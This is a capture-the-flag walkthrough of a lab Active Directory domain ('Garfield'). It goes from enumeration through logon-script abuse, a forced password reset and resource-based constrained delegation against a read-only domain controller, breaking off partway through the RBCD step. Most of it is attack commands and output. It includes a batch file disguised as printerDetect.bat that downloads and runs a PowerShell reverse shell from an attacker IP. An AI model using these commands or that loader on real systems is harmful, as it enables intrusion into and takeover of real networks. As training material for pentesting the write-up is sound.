Garfield
by 0xW1LD

Enumeration
As is common in real life pentests, you will start the Garfield box with credentials for the following account
j.arbuckle/Th1sD4mnC4t!@1978
Scans
As usual we start off with an nmap port scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-04-07 12:52:06Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
2179/tcp open vmrdp? syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: GARFIELD
| NetBIOS_Domain_Name: GARFIELD
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: garfield.htb
| DNS_Computer_Name: DC01.garfield.htb
| DNS_Tree_Name: garfield.htb
| Product_Version: 10.0.17763
|_ System_Time: 2026-04-07T12:52:54+00:00
|_ssl-date: 2026-04-07T12:53:35+00:00; +8h03m41s from scanner time.
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Issuer: commonName=DC01.garfield.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-13T01:10:36
| Not valid after: 2026-08-15T01:10:36
| MD5: 1d54 628d c6bd 0ef0 98e8 6fe7 ed23 3178
| SHA-1: 6a3b 9a1d cd3f 0006 7f71 f340 cefb 59b8 b2e9 5041
| SHA-256: f7cc 022a 49f7 12ba 7bf1 ba5e 4d55 723c c89b 0f9e e9cc 1e29 9d2b 8d7e 36f3 c999
| -----BEGIN CERTIFICATE-----
| MIIC5jCCAc6gAwIBAgIQRWjBnxmhFpRL9DZFFlNNGzANBgkqhkiG9w0BAQsFADAc
| MRowGAYDVQQDExFEQzAxLmdhcmZpZWxkLmh0YjAeFw0yNjAyMTMwMTEwMzZaFw0y
| NjA4MTUwMTEwMzZaMBwxGjAYBgNVBAMTEURDMDEuZ2FyZmllbGQuaHRiMIIBIjAN
| BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAudwNMshQBO3zq1/pE8+nBxwGxJ1l
| SyyT5cTIhNDVGOj1kvnrvbksT07EV+vqMFnCrp1d4CAwvOqCGFuPPoVw2X6oEM3C
| Hk3WdpoAGDuSUSNSvfketGhPiPjD0mbRUl0/TLqDu0shOL1D7q1IXHh4H/S7Rqgd
| GXUs7jQ19RryyVJ6fbH1aoZrg2JATrlpzAh9u77upPVhK2omeTyEz9PNxeElbb8j
| 22YgC9WjR+YSwQcq9xjMNS+8Bf2MwF9ltPYp3M8PKMO6Ib93EvWfbkQ75gxB1CJ+
| UJo85i8/N1L5ZvfkDP5UkBkGKiaWDfIqx+RlpUuOt5Y98N/szT08l+YQBQIDAQAB
| oyQwIjATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcN
| AQELBQADggEBACOttD+PBn41TyIk0Fr5ISoHzalcZLFhWwVpmJKvGPwEEj+2o3JI
| yZgV0kVinOLCkEY2O+N95iWNcbc0jTkmkhHmfTyNZ2mA4P0Dxd+TVnBzUleL8Tjm
| Rm8s53SBxncdtykSulWbszQLLgRy09EBapw2JHNpWG9p0ymPqW3uBGcJXfsZ3hif
| +xIeWo+aXoJfSG4F+ptBxRMJ7OGr+q4jQh84VUi5tLUXtHvxJMuM/LPgNVkEsYFU
| yNeT8ukEDEdMTVAYWeftXPMfAbdDX1Ptr0JCeLW5VFWrql9EszHXs4nCvoBg9iSj
| 7ipPJi99f+g9vL4srEEeQxsVGlv/RZ85Bj4=
|_-----END CERTIFICATE-----
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49899/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49982/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 23820/tcp): CLEAN (Timeout)
| Check 2 (port 14173/tcp): CLEAN (Timeout)
| Check 3 (port 14297/udp): CLEAN (Timeout)
| Check 4 (port 56451/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 8h03m40s, deviation: 0s, median: 8h03m40s
| smb2-time:
| date: 2026-04-07T12:52:59
|_ start_date: N/A
We can see we have a pretty standard AD DC hosting all our services which is very common for HTB Windows machines.
Let’s start enumerating the Domain, I like to get a sense of all the objects in the domain so let’s get those first.
Users
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' get search --filter "(objectClass=user)" --attr sAMAccountName
distinguishedName: CN=Administrator,CN=Users,DC=garfield,DC=htb
sAMAccountName: Administrator
distinguishedName: CN=Guest,CN=Users,DC=garfield,DC=htb
sAMAccountName: Guest
distinguishedName: CN=DC01,OU=Domain Controllers,DC=garfield,DC=htb
sAMAccountName: DC01$
distinguishedName: CN=krbtgt,CN=Users,DC=garfield,DC=htb
sAMAccountName: krbtgt
distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
sAMAccountName: RODC01$
distinguishedName: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
sAMAccountName: krbtgt_8245
distinguishedName: CN=Jon Arbuckle,CN=Users,DC=garfield,DC=htb
sAMAccountName: j.arbuckle
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
sAMAccountName: l.wilson
distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
sAMAccountName: l.wilson_adm
Computers
1
2
3
4
5
6
7
8
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' get search --filter "(objectClass=computer)" --attr sAMAccountName
distinguishedName: CN=DC01,OU=Domain Controllers,DC=garfield,DC=htb
sAMAccountName: DC01$
distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
sAMAccountName: RODC01$
Interesting to note here is that there’s a Read Only Domain Controller(RODC)
Groups
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' get search --filter "(objectClass=group)" --attr distinguishedName
distinguishedName: CN=Administrators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Users,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Guests,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Print Operators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Backup Operators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Replicator,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Remote Desktop Users,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Network Configuration Operators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Performance Monitor Users,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Performance Log Users,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Distributed COM Users,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=IIS_IUSRS,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Cryptographic Operators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Event Log Readers,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Certificate Service DCOM Access,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=RDS Remote Access Servers,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=RDS Endpoint Servers,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=RDS Management Servers,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Hyper-V Administrators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Access Control Assistance Operators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Remote Management Users,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Storage Replica Administrators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Domain Computers,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Domain Controllers,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Schema Admins,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Enterprise Admins,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Cert Publishers,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Domain Admins,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Domain Users,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Domain Guests,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Group Policy Creator Owners,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=RAS and IAS Servers,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Server Operators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Account Operators,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Incoming Forest Trust Builders,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Windows Authorization Access Group,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Terminal Server License Servers,CN=Builtin,DC=garfield,DC=htb
distinguishedName: CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Read-only Domain Controllers,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Cloneable Domain Controllers,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Protected Users,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Key Admins,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Enterprise Key Admins,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=DnsAdmins,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=DnsUpdateProxy,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=RODC Administrators,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=IT Support,CN=Users,DC=garfield,DC=htb
distinguishedName: CN=Tier 1,CN=Users,DC=garfield,DC=htb
OUs
1
2
3
4
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' get search --filter "(objectClass=organizationalUnit)" --attr distinguishedName
distinguishedName: OU=Domain Controllers,DC=garfield,DC=htb
GPOs
1
2
3
4
5
6
7
8
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' get search --filter "(objectClass=groupPolicyContainer)" --attr cn
distinguishedName: CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=garfield,DC=htb
cn: {31B2F340-016D-11D2-945F-00C04FB984F9}
distinguishedName: CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=garfield,DC=htb
cn: {6AC1786C-016F-11D2-945F-00C04fB984F9}
J.arbuckle’s writables
Let’s also take a look at the writables and permissions that we have as j.arbuckle in the domain.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' get writable --detail
distinguishedName: CN=Guest,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=garfield,DC=htb
url: WRITE
wWWHomePage: WRITE
distinguishedName: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE
distinguishedName: CN=Jon Arbuckle,CN=Users,DC=garfield,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
scriptPath: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE
distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE
distinguishedName: DC=garfield.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=garfield,DC=htb
dnsNode: CREATE_CHILD
dnsZoneScopeContainer: CREATE_CHILD
distinguishedName: DC=_msdcs.garfield.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=garfield,DC=htb
dnsNode: CREATE_CHILD
dnsZoneScopeContainer: CREATE_CHILD
User
Getting L.Wilson Via LogonScripts
Interesting to note that we have WRITE scriptPath on Liz Wilson and Liz Wilson ADM due to being in the IT Support group. scriptPath is the attribute that determines what login scripts that a user will execute upon an interactive logon. These scripts are usually stored in SMB either on SYSVOL or the NETLOGON shares. Let’s take a look.
1
2
3
4
5
6
7
8
9
10
11
12
$ nxc smb dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' --shares
SMB 10.129.191.74 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.191.74 445 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB 10.129.191.74 445 DC01 [*] Enumerated shares
SMB 10.129.191.74 445 DC01 Share Permissions Remark
SMB 10.129.191.74 445 DC01 ----- ----------- ------
SMB 10.129.191.74 445 DC01 ADMIN$ Remote Admin
SMB 10.129.191.74 445 DC01 C$ Default share
SMB 10.129.191.74 445 DC01 IPC$ READ Remote IPC
SMB 10.129.191.74 445 DC01 NETLOGON READ Logon server share
SMB 10.129.191.74 445 DC01 SYSVOL READ Logon server share
Both the SYSVOL and NETLOGON shares are Distributed File System Shares, which means that they’ll automatically try to connect the client (us) to the nearest DC which could either be DC01 or RODC01. If we attempt to connect to NETLOGON we can see that RODC01 has registered itself as the DFS target for the share as we do not have the RODC in our /etc/hosts file yet.
1
2
3
$ smbclient -U 'j.arbuckle%Th1sD4mnC4t!@1978' //garfield.htb/NETLOGON
do_connect: Connection to RODC01.garfield.htb failed (Error NT_STATUS_UNSUCCESSFUL)
If we keep connecting we should be able to reach the fallback server, which should be DC01, this is what we want since we can’t be sure that the RODC can connect back to us as it’s in the 192.168.100.0 network.
1
2
3
4
5
# Got it on my 3rd try
$ smbclient -U 'j.arbuckle%Th1sD4mnC4t!@1978' //garfield.htb/NETLOGON
Try "help" to get a list of possible commands.
smb: \>
We can test that we can write to this directory by making a directory.
1
2
3
smb: \> mkdir pwned
NT_STATUS_ACCESS_DENIED making remote directory \pwned
Looks like we don’t have much luck on NETLOGON, luckily SYSVOL also works in our favor as it actually contains the NETLOGON share.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ smbclient -U 'j.arbuckle%Th1sD4mnC4t!@1978' //garfield.htb/SYSVOL
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Aug 13 07:04:43 2025
.. D 0 Wed Aug 13 07:04:43 2025
garfield.htb Dr 0 Wed Aug 13 07:04:43 2025
9250815 blocks of size 4096. 953308 blocks available
smb: \> cd garfield.htb
smb: \garfield.htb\> ls
. D 0 Wed Aug 13 07:11:05 2025
.. D 0 Wed Aug 13 07:11:05 2025
DfsrPrivate DHSr 0 Wed Aug 13 07:11:05 2025
Policies D 0 Wed Aug 13 07:04:48 2025
scripts D 0 Tue Apr 7 09:54:46 2026
9250815 blocks of size 4096. 953308 blocks available
smb: \garfield.htb\> cd scripts
smb: \garfield.htb\scripts\> ls
. D 0 Tue Apr 7 09:54:46 2026
.. D 0 Tue Apr 7 09:54:46 2026
printerDetect.bat A 217 Fri Sep 12 18:20:29 2025
9250815 blocks of size 4096. 953308 blocks available
smb: \garfield.htb\scripts\> mkdir pwned
smb: \garfield.htb\scripts\> ls
. D 0 Tue Apr 7 10:09:43 2026
.. D 0 Tue Apr 7 10:09:43 2026
printerDetect.bat A 217 Fri Sep 12 18:20:29 2025
pwned D 0 Tue Apr 7 10:09:43 2026
9250815 blocks of size 4096. 953308 blocks available
smb: \garfield.htb\scripts\>
Looks like we have write access to the NETLOGON share through the SYSVOL share. Let’s put a logonScript that will access a reverse shell and name it printerDetect.bat just to bypass any protections that might exist.
1
2
3
@echo off
powershell -ep bypass -c "iex(iwr http://10.10.14.6:3232/ra.exe.ps1 -useb)"
Let’s upload this script to the scripts directory in the SYSVOL share.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ smbclient -U 'j.arbuckle%Th1sD4mnC4t!@1978' //garfield.htb/SYSVOL
Try "help" to get a list of possible commands.
smb: \> cd garfield.htb\
smb: \garfield.htb\> cd scripts\
smb: \garfield.htb\scripts\> ls
. D 0 Tue Apr 7 10:09:43 2026
.. D 0 Tue Apr 7 10:09:43 2026
printerDetect.bat A 217 Fri Sep 12 18:20:29 2025
pwned D 0 Tue Apr 7 10:09:43 2026
9250815 blocks of size 4096. 953320 blocks available
smb: \garfield.htb\scripts\> put printerDetect.bat
putting file printerDetect.bat as \garfield.htb\scripts\printerDetect.bat (1.0 kB/s) (average 1.0 kB/s)
Finally, let’s change l.wilson and l.wilson_adm’s scriptPath attributes.
1
2
3
4
5
6
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' set object "l.wilson" scriptPath -v 'printerDetect.bat'
[+] l.wilsons scriptPath has been updated
$ bloodyAD -H dc01.garfield.htb -u "j.arbuckle" -p 'Th1sD4mnC4t!@1978' set object "l.wilson_adm" scriptPath -v 'printerDetect.bat'
[+] l.wilson_adm's scriptPath has been updated
After a while I get a callback from l.wilson on my listener!
1
2
3
4
5
6
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
garfield\l.wilson
We can use Rubeus.exe to extract a kirbi to get a TGT so we can continue conducting attacks remotely.
Getting L.Wilson_ADM Via Force Change Password
Let’s first grab l.wilson_adm and all the securityDescriptors associated with the account.
1
2
$ bloodyAD -H dc01.garfield.htb -k -d garfield.htb get object "l.wilson_adm" --resolve-sd > l.wilson_adm.sd
Looking through whether l.wilson has any ACLs on l.wilson_adm we can find that she has User-Force-Change-Password
1
2
3
4
5
6
7
$ grep -B1 -A3 -E 'l.wilson$' l.wilson_adm.sd
nTSecurityDescriptor.ACL.2.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.2.Trustee: l.wilson
nTSecurityDescriptor.ACL.2.Right: CONTROL_ACCESS
nTSecurityDescriptor.ACL.2.ObjectType: User-Change-Password; User-Force-Change-Password
nTSecurityDescriptor.ACL.2.Flags: CONTAINER_INHERIT
So let’s set l.wilson_adm’s password!
1
2
3
$ bloodyAD -H dc01.garfield.htb -k -d garfield.htb set password "l.wilson_adm" 'Password123!'
[+] Password changed successfully!
Let’s Evil-Winrm onto the machine!
1
2
3
4
5
6
7
8
9
10
11
12
13
$ evil-winrm-py -i dc01.garfield.htb -u 'l.wilson_adm' -p 'Password123!'
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.5.0
[*] Connecting to 'dc01.garfield.htb:5985' as 'l.wilson_adm'
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
evil-winrm-py PS C:\Users\l.wilson_adm\Documents>
Just like that, we have User!
Root
Getting RODC01 Via RBCD
Taking a look around we have some permissions on RODC01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
$ bloodyAD -H dc01.garfield.htb -u 'l.wilson_adm' -p 'Password123!' get writable --detail
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=garfield,DC=htb
url: WRITE
wWWHomePage: WRITE
distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
lastLogonTimestamp: WRITE
logonCount: WRITE
accountExpires: WRITE
profilePath: WRITE
userParameters: WRITE
pwdLastSet: WRITE
userWorkstations: WRITE
logonWorkstation: WRITE
logonHours: WRITE
scriptPath: WRITE
lastLogon: WRITE
lastLogoff: WRITE
homeDrive: WRITE
homeDirectory: WRITE
badPwdCount: WRITE
userAccountControl: WRITE
distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE
distinguishedName: DC=garfield.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=garfield,DC=htb
dnsNode: CREATE_CHILD
dnsZoneScopeContainer: CREATE_CHILD
distinguishedName: DC=_msdcs.garfield.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=garfield,DC=htb
dnsNode: CREATE_CHILD
dnsZoneScopeContainer: CREATE_CHILD
Most notable would be the WRITE on the msDS-AllowedToActOnBehalfOfOtherIdentity, as this allows us to conduct an RBCD attack. Let’s first establish a tunnel to the internal network 192.168.100.0/24 so we can connect to RODC01 directly using our tool of choice.
Next let’s add a new computer account which we’ll use as a service for RBCD
1
2
3
4
$ addcomputer.py garfield.htb/l.wilson_adm:'Password123!' -computer-name 'w1ld$' -computer-pass 'Password123!'
Impacket v0.14.0.dev0+20260226.31512.9d3d86ea - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account w1ld$ with password Password123!.
Next let’s add RBCD which is essentially setting the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
1
2
3
4
5
$ bloodyAD -H dc01.garfield.htb -u 'l.wilson_adm' -p 'Password123!' add rbcd 'RODC01$' 'w1ld$'
[!] No security descriptor has been returned, a new one will be created
[+] w1ld$ can now impersonate users on RODC01$ via S4U2Proxy
